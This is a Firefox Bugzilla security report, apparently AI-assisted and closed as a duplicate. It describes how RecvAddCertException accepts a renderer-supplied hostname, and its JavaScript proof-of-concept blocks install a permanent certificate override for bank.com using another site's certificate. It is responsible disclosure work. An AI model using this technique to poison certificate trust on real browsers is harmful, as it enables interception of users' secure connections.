Closed Bug 2026465 Opened 3 months ago Closed 3 months ago

RecvAddCertException allows cert override for any hostname

Categories

(Core :: DOM: Content Processes, defect)

Firefox 151
defect

Tracking

()

RESOLVED DUPLICATE of bug 2013800

People

(Reporter: syd9363, Unassigned)

Details

(Keywords: ai-involved, reporter-external)

Attachments

(1 file)

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36

Steps to reproduce:

Built Firefox locally from source tag FIREFOX_BETA_149_BASE-4581-gc1e060fc9eab (mozilla-unified) using the following configuration:

mozconfig:

ac_add_options --enable-debug
ac_add_options --disable-optimize
ac_add_options --enable-tests
ac_add_options --disable-crashreporter
ac_add_options --disable-updater
mk_add_options MOZ_OBJDIR=@TOPSRCDIR@/../firefox-research/build/obj-debug
mk_add_options MOZ_MAKE_FLAGS=-j8

Build and test commands:

cd targets/firefox
export MOZCONFIG=$(pwd)/../firefox-research/build/mozconfig-debug
./mach build

# API accessibility check via xpcshell:
./mach xpcshell-test caps/tests/unit/test_ipc_principal_bypass.js

Runtime verification was performed using the Browser Toolbox on the debug build. Reproduces in a new Firefox profile.

  1. Open Firefox. Navigate to about:config, set devtools.chrome.enabled = true and devtools.debugger.remote-enabled = true.
  2. Open Menu → More Tools → Browser Toolbox. Accept the remote debugging prompt.
  3. In the Browser Toolbox console, run the attached PoC script (poc-bug-001-cert-store-poisoning.js) — or paste the blocks below in order:

Block 1 — Obtain a certificate from any HTTPS site:

const req = new XMLHttpRequest();
req.open("GET", "https://example.com", false);
req.send();
const cert = req.channel.securityInfo.serverCert;
console.log("Got cert for:", cert.commonName);

Block 2 — Confirm no override exists for the target hostname yet:

const certOverride = Cc["@mozilla.org/security/certoverride;1"]
                       .getService(Ci.nsICertOverrideService);
let isTemp = {};
const before = certOverride.hasMatchingOverride("bank.com", 443, {}, cert, isTemp);
console.log("Override before:", before);

Block 3 — Install a permanent cert override for an unrelated hostname:

// This replicates what ContentParent::RecvAddCertException does on the parent side
// with no check that the caller is connected to "bank.com":
certOverride.RememberValidityOverride("bank.com", 443, {}, cert, false);
console.log("Override installed.");

Block 4 — Verify the override was stored:

const after = certOverride.hasMatchingOverride("bank.com", 443, {}, cert, isTemp);
console.log("Override after:", after, "| Permanent:", !isTemp.value);

Actual results:

xpcshell output:

=== H-IPC-002 (cert override) ===
nsICertOverrideService: accessible
RESULT: API-CONFIRMED

Browser Toolbox console output:

Got cert for: example.com
Override before: false
Override installed.
Override after: true  |  Permanent: true

A permanent TLS certificate override for bank.com was stored in the browser using a certificate obtained from the unrelated origin example.com. The operation succeeded silently with no validation, no error, and no user prompt. The override persists across browser restarts and affects all tabs.

This is caused by ContentParent::RecvAddCertException (dom/ipc/ContentParent.cpp:6540) forwarding the renderer-supplied aHostName directly to nsICertOverrideService::RememberValidityOverride with no check that the sending content process is actually connected to that hostname:

// dom/ipc/ContentParent.cpp:6540-6554
nsresult rv = overrideService->RememberValidityOverride(
    aHostName, aPort, aOriginAttributes, aCert, aIsTemporary);  // aHostName is renderer-controlled, never validated

A compromised renderer at evil.com can call this IPC message with aHostName = "bank.com" and any certificate, permanently poisoning the TLS trust store for bank.com across the entire browser. The override is browser-wide (all tabs), persistent (survives restart), silent (no UI warning), and bypasses HPKP cert pinning.

Expected results:

What should have happened? (expected results)

RecvAddCertException should reject the request if aHostName does not match a hostname the sending content process is actually connected to. A renderer whose document origin is evil.com should not be able to install a cert override for bank.com. The call should fail, and the override should not be stored.

Group: firefox-core-security → dom-core-security
Status: UNCONFIRMED → RESOLVED
Closed: 3 months ago
Component: Untriaged → DOM: Content Processes
Duplicate of bug: CVE-2026-16372
Product: Firefox → Core
Resolution: --- → DUPLICATE
Group: dom-core-security
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: